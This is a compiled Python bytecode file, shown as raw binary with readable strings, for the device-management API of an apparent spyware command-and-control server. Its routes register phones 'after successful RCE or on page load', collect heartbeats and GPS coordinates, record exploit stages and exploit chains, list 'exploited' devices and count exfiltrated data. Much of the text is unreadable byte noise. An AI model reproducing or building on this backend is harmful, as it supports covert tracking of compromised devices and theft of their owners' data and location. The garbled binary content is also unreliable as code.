+
    Dd>jj                        R t ^ RIHtHtHtHt ^ RIHt ^ RIH	t	 ^ RI
Ht ^ RIt^ RIt]! RR.R7      t]P                  R	]P                   R
7      ]! ]4      3R R ll4       t]P                  R]P                   R
7      ]! ]4      3R R ll4       t]P                  R4      ]! ]4      3R R ll4       t]P                  R4      ]! ]4      3R R ll4       t]P+                  R]	]P                   ,          R
7      ^ ^dR]! ]4      3R R ll4       t]P+                  R]	]P                   ,          R
7      ]! ]4      3R R ll4       t]P+                  R]	]P                   ,          R
7      ]! ]4      3R R ll4       t]P+                  R]P                   R
7      ]! ]4      3R  R! ll4       t]P+                  R"4      ]! ]4      3R# R$ ll4       t]P+                  R%]	]P6                  ,          R
7      ^ ^d]! ]4      3R& R' ll4       t]P;                  R4      ]! ]4      3R( R) ll4       t]P                  R*4      ]! ]4      3R+ R, ll4       tR# )-u   设备管理 API 路由)	APIRouterDependsHTTPExceptionRequestSession)List)get_dbNz/api/devicesdevices)prefixtagsz	/register)response_modelc                P    V ^8  d   QhR\         P                  R\        R\        /# )   datarequestdb)schemasDeviceRegisterr   r   )formats   "8/Users/wind/Downloads/Coruna-main/backend/api/devices.py__annotate__r      s,     "@ "@'00 "@7 "@ "@    c                   \         P                  ! W P                  4      pV'       Ed   V P                  ;'       g    VP                  Vn        V P                  ;'       g    VP                  Vn        V P
                  ;'       g    VP
                  Vn        V P                  ;'       g    VP                  Vn        VP                  P                  Vn	        RVn
        \        R4      P                  P                  4       Vn        V P                  ;'       g    VP                  Vn        V P                   ;'       g    VP                   Vn        V P"                  ;'       g    VP"                  Vn        V P$                  ;'       g    VP$                  Vn        V P&                  ;'       g    VP&                  Vn        V P(                  ;'       g    VP(                  Vn        V P*                  ;'       g    VP*                  Vn        V P,                  e   V P,                  MVP,                  Vn        V P.                  ;'       g    VP.                  Vn        V P0                  '       d?   VP0                  '       g   / Vn        VP0                  P3                  V P0                  4       VP5                  4        VP7                  V4       V# \         P8                  ! W VP                  P                  R7      # )uD   
设备首次注册接入
在成功 RCE 后或页面加载时调用
onlinedatetime)ip)crud
get_devicedevice_uuiddevice_modelios_versionchipset
user_agentclienthost
ip_addressstatus
__import__r   utcnow	last_seenlatitude	longitudealtitudeaccuracyexploit_stageexploit_chainruntime_typehas_pacpac_integrityextraupdatecommitrefreshcreate_device)r   r   r   existings   &&& r   register_devicer:      s    r#3#34Hx $ 1 1 J JX5J5J#//GG83G3G<<;;8+;+;"ooDD1D1D%nn11"'
3<<CCE MM>>X->->!^^AAx/A/A MM>>X->-> MM>>X->->!%!3!3!M!Mx7M7M!%!3!3!M!Mx7M7M $ 1 1 J JX5J5J+/<<+C4<<IYIY!%!3!3!M!Mx7M7M:::>>>!#NN!!$**-
		


8b7>>+>+>??r   z
/heartbeatc                D    V ^8  d   QhR\         P                  R\        /# r   r   r   )r   DeviceHeartbeatr   )r   s   "r   r   r   4   s       G++  r   c                \    \         P                  ! W4      pV'       g   \        RRR7      hV# )u;   
设备心跳（每30秒上报）
保持设备在线状态
  z Device not found, register firststatus_codedetail)r   update_device_heartbeatr   r   r   devices   && r   	heartbeatrF   3   s*     ))"3F4VWWMr   z	/locationc                D    V ^8  d   QhR\         P                  R\        /# r<   )r   DeviceLocationUpdater   )r   s   "r   r   r   @   s$     E E'66 EG Er   c                    \         P                  ! W4      pV'       g   \        RRR7      hRRRV P                  RV P                  /# )u   设备报告GPS位置r?   Device not foundr@   okTlatlng)r   update_device_locationr   r+   r,   rD   s   && r   update_locationrO   ?   s@     ((2F4FGG$t}}eT^^DDr   z/exploit_stagec                <    V ^8  d   QhR\         R\         R\        /# )r   r   stager   strr   )r   s   "r   r   r   I   s!     ( (c (# (7 (r   c                B   \         P                  ! W 4      pV'       g   \        RRR7      hWn        VR8X  dB   VP                  '       g0   \        R4      P                  P                  4       Vn        RVn        VP                  4        VP                  V4       RRR	V/# )
u   更新设备exploit阶段r?   rJ   r@   	completedr   	exploitedrK   TrQ   )r   r   r   r/   first_exploit_atr(   r   r)   r'   r6   r7   )r   rQ   r   rE   s   &&& r   update_exploit_stagerX   H   s     __R-F4FGG F$;$;$;",Z"8"A"A"H"H"J#IIKJJv$''r    c                H    V ^8  d   QhR\         R\         R\        R\        /# )r   skiplimitr'   r   )intrS   r   )r   s   "r   r   r   Z   s(     8 8s 8s 8# 8' 8r   c           	        V'       d   ^ RI Hp VP                  \        RR.R7      P                  4      P                  \        RR.R7      P                  P                  V8H  4      P                  V! \        RR.R7      P                  P                  4      4      P                  V 4      P                  V4      P                  4       pV# \        P                  ! W0VR7      # )u0   
获取所有设备列表
支持按状态筛选
desc..modelsDevicefromlistr[   r\   )
sqlalchemyr`   queryr(   rb   filterr'   order_byr*   offsetr\   allr   get_devices)r[   r\   r'   r   r`   r
   s   &&&&  r   list_devicesrm   Y   s     #((:jH:FMMNUUzXJ7>>EEO

(4
:
CJJTTU
VW]W]^bWcdidijodpqtqtqv 	 B77r   z/onlinec                $    V ^8  d   QhR\         /# r   r   r   )r   s   "r   r   r   i   s     ' 'G 'r   c                .    \         P                  ! V 4      # )u   获取在线设备列表)r   get_online_devices)r   s   &r   list_onlinerr   h   s     ""2&&r   z
/exploitedc                $    V ^8  d   QhR\         /# ro   r   )r   s   "r   r   r   o   s     4 4w 4r   c                    ^ RI Hp \        RR.R7      P                  pV P	                  V4      P                  VP                  R8H  4      P                  V! VP                  4      4      P                  4       # )u%   获取已成功exploit的设备列表r_   ra   rb   rc   rU   )
rf   r`   r(   rb   rg   rh   r/   ri   rW   rk   )r   r`   rb   s   &  r   list_exploitedru   n   s`      
hZ8??F88F""+htF++,-cce4r   z/{device_uuid}c                0    V ^8  d   QhR\         R\        /# r   r   r   rR   )r   s   "r   r   r   y   s      C W r   c                \    \         P                  ! W4      pV'       g   \        RRR7      hV# )u   获取单个设备详情r?   rJ   r@   )r   r   r   )r   r   rE   s   && r   r   r   x   s(     __R-F4FGGMr   z/{device_uuid}/statsc                0    V ^8  d   QhR\         R\        /# rw   rR   )r   s   "r   r   r      s      # 7 r   c                    \         P                  ! W4      pV'       g   \        RRR7      h\         P                  ! W4      pRVRVRVP                  RVP
                  RVP                  R	VP                  /# )
u   获取设备统计数据r?   rJ   r@   rE   data_countstotal_taskscompleted_tasksfailed_taskstotal_exfil)r   r   r   get_device_data_countsr|   r}   r~   r   )r   r   rE   r{   s   &&  r   get_device_statsr      su     __R-F4FGG--b>K 	&{v))611++v)) r   z/{device_uuid}/logsc                H    V ^8  d   QhR\         R\        R\        R\        /# )r   r   r[   r\   r   )rS   r]   r   )r   s   "r   r   r      s.     I I IC IC I7 Ir   c                2    \         P                  ! W0WR7      # )u   获取设备日志re   )r   get_device_logs)r   r[   r\   r   s   &&&&r   r   r      s     dHHr   c                0    V ^8  d   QhR\         R\        /# rw   rR   )r   s   "r   r   r      s     D Ds D Dr   c                `    \         P                  ! W4      '       d   RRRR/# \        RRR7      h)u   删除设备记录rK   TmessagezDevice deletedr?   rJ   r@   )r   delete_devicer   )r   r   s   &&r   r   r      s3     "**dI'788
C0B
CCr   z/{device_uuid}/notesc                <    V ^8  d   QhR\         R\         R\        /# )r   r   notesr   rR   )r   s   "r   r   r      s!     	( 	(# 	(c 	(w 	(r   c                    \         P                  ! W 4      pV'       g   \        RRR7      hWn        VP	                  4        VP                  V4       RRRV/# )u   添加设备备注r?   rJ   r@   rK   Tr   )r   r   r   r   r6   r7   )r   r   r   rE   s   &&& r   add_device_notesr      sL     __R-F4FGGLIIKJJv$''r   ) __doc__fastapir   r   r   r   sqlalchemy.ormr   typingr   databaser	   r   r   routerpost	DeviceOutr:   rF   rO   rX   getrm   rr   ru   r   r   DeviceLogOutr   deleter   r    r   r   <module>r      sV    > > "   	.	{	; [):):;RYZ`Ra "@ <"@J \'*;*;<;B6?  = [FMfo E E ELV_ ( (  BtG$5$567ST[\bTc 8 88 Id7+<+<&=>%fo ' ?'
 Lg.?.?)@A!( 4 B4 W->->?/6v  @ "#5<V_  $$ !$w7K7K2LM23#U\]cUd I NI
  29&/ D !D #$AH 	( %	(r   